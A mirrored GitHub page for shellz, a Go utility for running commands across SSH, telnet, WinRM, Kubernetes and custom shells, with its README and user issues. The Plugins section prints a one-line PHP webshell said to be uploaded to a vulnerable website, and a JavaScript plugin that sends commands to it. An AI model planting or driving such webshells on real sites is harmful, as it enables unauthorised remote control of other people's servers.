Giter Site home page Giter Site logo

evilsocket / shellz Goto Github PK

View Code? Open in Web Editor NEW
554.0 19.0 64.0 6.5 MB

shellz is a small utility to manage your ssh, telnet, kubernetes, winrm, web or any custom shell in a single place.

License: Other

Makefile 0.39% Go 99.61%
shell access ssh telnet kubernetes winrm

shellz's Introduction

shellz

Release Software License Travis Go Report Card

shellz is a small utility to manage your ssh, telnet, kubernetes, winrm, web or any custom shell in a single place.

This means that with a single tool with a simple command line, you will be able to execute shell commands on any of those systems transparently, so that you can, for instance, check the uptime of all your systems, whether it is a Windows machine, a Kubernetes pod, an SSH server or a Raspbery Pi like shown in this demo.

Installation

A precompiled version is available for each release, alternatively you can use the latest version of the source code from this repository in order to build your own binary.

From Sources

Make sure you have a correctly configured Go >= 1.8 environment, that $GOPATH/bin is in $PATH and then:

$ go get -u github.com/evilsocket/shellz/cmd/shellz

This command will download shellz, install its dependencies, compile it and move the shellz executable to $GOPATH/bin.

How to Use

The tool will use the ~/.shellz folder to load your identities and shells json files, running the command shellz the first time will create the folder and the idents and shells subfolders for you. Once both ~/.shellz/idents and ~/.shellz/shells folders have been created, you can start by creating your first identity json file, for instance let's create ~/.shellz/idents/default.json with the following contents:

{
    "name": "default",
    "username": "evilsocket",
    "key": "~/.ssh/id_rsa"
}

As you can see my default identity is using my SSH private key to log in the evilsocket user, alternatively you can specify a "password" field instead of a "key". Alternatively, you can set the "key" field to "@agent", in which case shellz will ask the ssh-agent for authentication details to the remote host:

{
    "name": "default",
    "username": "evilsocket",
    "key": "@agent"
}

SSH

Now let's create our first shell json file ( ~/.shellz/shells/media.json ) that will use the default identity we just created to connect to our home media server (called media.server in our example):

{
    "name": "media-server",
    "host": "media.server",
    "groups": ["servers", "media", "whatever"],
    "port": 22,
    "identity": "default"
}

Telnet

cat ~/.shellz/shells/tnas.json
{
    "name": "tnas",
    "host": "tnas.local",
    "port": 23,
    "identity": "admin-tnas",
    "type": "telnet"
}

WinRM

cat ~/.shellz/shells/win.json
{
    "name": "win10",
    "host": "win10.local",
    "port": 5986,
    "identity": "admin-win10",
    "type": "winrm",
    "https": true,
    "insecure": false
}

Kubernetes

cat ~/.shellz/shells/kube-pod.json
{
  "name": "kube-microbot",
  "host": "https://127.0.0.1:16443",
  "type": "kube",
  "namespace": "default",
  "pod": "microbot-5f5499d479-qp9z7",
  "groups": [
    "kube",
    "cluster"
  ],
  "identity": "microk8s",
}

Where the host field must point to the Kubernetes control plane URL obtained with:

kubectl cluster-info | grep control 
cat ~/.shellz/idents/microk8s.json
{
    "name": "microk8s",
    "key": "~/.microk8s-bearer-token"
}

Where the ~/.microk8s-bearer-token file must contain the bearer token obtained with:

token=$(kubectl -n kube-system get secret | grep default-token | cut -d " " -f1)
kubectl -n kube-system describe secret $token | grep "token:"    

SOCKS5

If you wish to use a SOCKS5 proxy (supported for the ssh session and custom shells), for instance to reach a shell on a TOR hidden service, you can use the "proxy" configuration object:

{
  "name": "my-tor-shell",
  "host": "whateverwhateveroihfdwoeghfd.onion",
  "port": 22,
  "identity": "default",
  "proxy": {
    "address": "127.0.0.1",
    "port": 9050,
    "username": "this is an optional field",
    "password": "this is an optional field"
  }
}

Using Groups

Shells can (optionally) be grouped (with a default all group containing all of them) and, by default, they are considered ssh, in which case you can also specify the ciphers your server supports:

{
    "name": "old-server",
    "host": "old.server",
    "groups": ["servers", "legacy"],
    "port": 22,
    "identity": "default",
    "ciphers": ["aes128-cbc", "3des-cbc"]
}

Reverse Tunnels

shellz can be used for starting reverse SSH tunnels, for instance, let's create the ~/.shellz/shells/mytunnel.json file:

{
    "name": "my.tunnel",
    "host": "example.com",
    "tunnel": {
        "local": {
            "address": "127.0.0.1",
            "port": 8443
        },
        "remote": {
            "address": "192.168.1.1",
            "port": 443
        }
    }
}

By running the following command:

shellz -tunnel -on my.tunnel

The remote endpoint https://192.168.1.1 will be tunneled by example.com and available on your computer at https://localhost:8443.

Plugins

Instead of one of the supported types, you can specify a custom name, in which case shellz will use an external plugin.

Let's start by creating a new shell json file ~/.shellz/shells/custom.json with the following contents:

{
    "name": "custom",
    "host": "http://www.imvulnerable.gov/uploads/sh.php",
    "identity": "empty",
    "port": 80,
    "type": "mycustomshell"
}

As you probably noticed, the host field is the full URL of a very simple PHP webshell uploaded on some website:

<?php system($_REQUEST["cmd"]); die; ?>

Also, the type field is set to mycustomshell, in this case shellz will try to load the file ~/.shellz/plugins/mycustomshell.js and use it to create a session and execute a command.

A shellz plugin must export the Create, Exec and Close functions, this is how mycustomshell.js looks like:

var headers = {
    'User-Agent': 'imma-shellz-plugin'
};

/*
 * The Create callback is called whenever a new command has been queued
 * for execution and the session should be initiated, in this case we 
 * simply return the main shell object, but it might be used to connect
 * to the endpoint and store the socket on a more complex Object.
 */
function Create(sh) {
    log.Debug("Create(" + sh + ")");
    return sh;
}

/*
 * Exec is called for each command, the first argument is the object
 * returned from the Create callback, while the second is a string with the
 * command itself.
 */
function Exec(sh, cmd) {
    log.Debug("running " + cmd + " on " + sh.Host);
    /* 
     * OR
     *
     * var resp = http.Post(sh.Host, headers, {"cmd":cmd});
     */
    var resp = http.Get(sh.Host + "?cmd=" + cmd, headers)
    if( resp.Error ) {
        log.Error("error while running " + cmd + ": " + resp.Error);
        return resp.Error;
    }
    return resp.Raw;
}

/*
 * Used to finalize the state of the object (close sockets, etc).
 */
function Close(sh) {
    log.Debug("Close(" + sh + ")");
}

To use a SOCKS5 proxy with the http object:

var proxied = http.WithProxy("127.0.0.1", 9050, "optional username", "optional password");

proxied.Get(...);

Other than the log interface and the http client, also a tcp client is available with the following API:

// this will create the client
var c = tcp.Connect("1.2.3.4:80");
if( c == null ) {
    log.Error("could not connect!");
    return;
}

// send some bytes
c.Write("somebyteshere");

// read some bytes until a newline
var ret = c.ReadUntil("\n");
if( ret.Error != null ) {
    log.Error("error while reading: " + err);
} else {
    // print results
    log.Info("res=" + ret.Raw);
}

// always close the socket
c.Close();

Examples

List available identities, plugins and shells:

shellz -list

List all available identities and shells of the group web:

shellz -list -on web

Enable the shells named machineA and machineB:

shellz -enable machineA, machineB

Enable shells of the group web:

shellz -enable web

Disable the shell named machineA (commands won't be executed on it):

shellz -disable machineA

Test all shells and disable the not responding ones:

shellz -test

Test two shells and disable them if they don't respond within 1 second:

shellz -test -on "machineA, machineB" -connection-timeout 1s

Run the command id on each shell ( with -to default to all):

shellz -run id

Run the command 'id' on each shell and print some statistics once finished:

shellz -run id -stats

Run the command id on a single shell named machineA:

shellz -run id -on machineA

Run the command id on machineA and machineB:

shellz -run id -on 'machineA, machineB'

Run the command id on shells of group web:

shellz -run id -on web

Run the command uptime on every shell and append all outputs to the all.txt file:

shellz -run uptime -to all.txt

Run the command uptime on every shell and save each outputs to a different file using per-shell data (every field referenced between {{ and }} will be replaced by the json field of the shell object):

shellz -run uptime -to "{{.Identity.Username}}_{{.Name}}.txt"

Start a ssh reverse tunnel:

shellz -tunnel -on some-tunnel

For a list of all available flags and some usage examples just type shellz without arguments.

License

Shellz was made with โ™ฅ by Simone Margaritelli and it's released under the GPL 3 license.

shellz's People

Contributors

chenrui333 avatar dadav avatar erjanmx avatar evilsocket avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

shellz's Issues

Custom configurations support

Would be useful to specify a custom path were to load configuration files, either via parameter or environment variables, so that sharing configurations is easier.

I'm thinking to a scenario where I want to share configurations (idents, shells, plugins) with a team. In case of missing configurations then fallback to the default in ~/.shellz

SOCKS proxy support

Would be awesome to be able to define a SOCKS proxy for each host in the config file, for example if some of your boxes are on hidden services or whatnot.

IPv6 support

Possible to support access IPv6, currently error:

war error while creating session for shell server1: dial tcp: address xxxx:xxxx:xxxx:xxxx::x:22: too many colons in address
war error while creating session for shell server2: dial tcp: address xxxx:xxxx:xxxx:xxxx::x:22: too many colons in address
war error while creating session for shell server3: dial tcp: address xxxx:xxxx:xxxx:xxxx::x:22: too many colons in address

I force access in IPv4 but it would be great for the addition. Thx

Grouping servers

Hello is it possible to create groups for multiple servers so we don't have to specify all servers we want to connect to and run a command?

No output and "Process exited with status 1" for Aruba Switches (S3500)

What version of Go are you using (go version)?

go1.11 darwin/amd64

What operating system and processor architecture are you using (go env)?

MacOS 10.14

What did you do?

Attempting to execute a ping command on a single shell with the ciphers specified

What did you expect to see?

A successful reply with round trip latency info

What did you see instead?

(Process exited with status 1)

Not sure if this is a limitation with my Aruba switches, although it works perfect on our Aruba controllers. If this issue doesn't seem to be related to Shellz, sorry for opening an issue. In any case, I have uploaded a screenshot of the issue I'm facing. Thanks again for the deprecated cipher support so quickly! You are awesome!

screen shot 2018-10-02 at 10 06 14 am

Runtime error when trying to connect to server

Hello,

Thanks for adding the ssh-agent integration, but this doesn't work for me

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x20 pc=0x7b367d]

goroutine 14 [running]:
github.com/evilsocket/shellz/vendor/golang.org/x/crypto/ssh.(*connection).clientAuthenticate(0xc4201a8080, 0xc4201a2000,
 0x0, 0xa)
        /home/evilsocket/gocode/src/github.com/evilsocket/shellz/vendor/golang.org/x/crypto/ssh/client_auth.go:63 +0x2dd
github.com/evilsocket/shellz/vendor/golang.org/x/crypto/ssh.(*connection).clientHandshake(0xc4201a8080, 0xc420020e20, 0x
10, 0xc4201a2000, 0x0, 0x0)
        /home/evilsocket/gocode/src/github.com/evilsocket/shellz/vendor/golang.org/x/crypto/ssh/client.go:113 +0x2c4
github.com/evilsocket/shellz/vendor/golang.org/x/crypto/ssh.NewClientConn(0x97b7c0, 0xc4201a0000, 0xc420020e20, 0x10, 0x
c420149ad0, 0x97b7c0, 0xc4201a0000, 0x0, 0x0, 0x1, ...)
        /home/evilsocket/gocode/src/github.com/evilsocket/shellz/vendor/golang.org/x/crypto/ssh/client.go:83 +0x100
github.com/evilsocket/shellz/vendor/golang.org/x/crypto/ssh.Dial(0x8d58a8, 0x3, 0xc420020e20, 0x10, 0xc420149ad0, 0x0, 0x0, 0x0)
        /home/evilsocket/gocode/src/github.com/evilsocket/shellz/vendor/golang.org/x/crypto/ssh/client.go:177 +0xb3
github.com/evilsocket/shellz/session.NewSSH.func1(0x0, 0x0)
        /home/evilsocket/gocode/src/github.com/evilsocket/shellz/session/ssh.go:49 +0x13a
github.com/evilsocket/shellz/vendor/github.com/evilsocket/islazy/async.WithTimeout.func1(0xc42009a540, 0xc420119c40)
        /home/evilsocket/gocode/src/github.com/evilsocket/shellz/vendor/github.com/evilsocket/islazy/async/timeout.go:16 +0x27
created by github.com/evilsocket/shellz/vendor/github.com/evilsocket/islazy/async.WithTimeout
        /home/evilsocket/gocode/src/github.com/evilsocket/shellz/vendor/github.com/evilsocket/islazy/async/timeout.go:15 +0x92

Is there an easy way to allow unsupported/deprecated ciphers?

What version of Go are you using (go version)?

go1.11 darwin/amd64

What operating system and processor architecture are you using (go env)?

MacOS 10.14

What did you do?

Attempting connection to ssh host

What did you expect to see?

Successful authentication

What did you see instead?

ssh: no common algorithm for client to server cipher; client offered: [[email protected] [email protected] aes128-ctr aes192-ctr aes256-ctr], server offered: [aes128-cbc aes256-cbc]

Password protected private keys

Hi,
I just wanted to try shellz, but it seems we can't use password protected private keys.
error while creating session for shell hetzner-magic: error while parsing key file /home/magic/.ssh/id_rsa: ssh: can not decode encrypted private keys

flag provided but not defined: -tunnel

Following the information in the Readme, when I try to start a SSH tunnel via

shellz -tunnel -on my.tunnel

I always get the error/warning:

flag provided but not defined: -tunnel

This happens with the Homebrew version as well as the release downloaded from here. I'm using macOS 10.14. Running commands like

shellz -run id

works as expected. The SSH tunnel flag is not available, so probably the functionality is not there. Can you shed some light on why that is?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.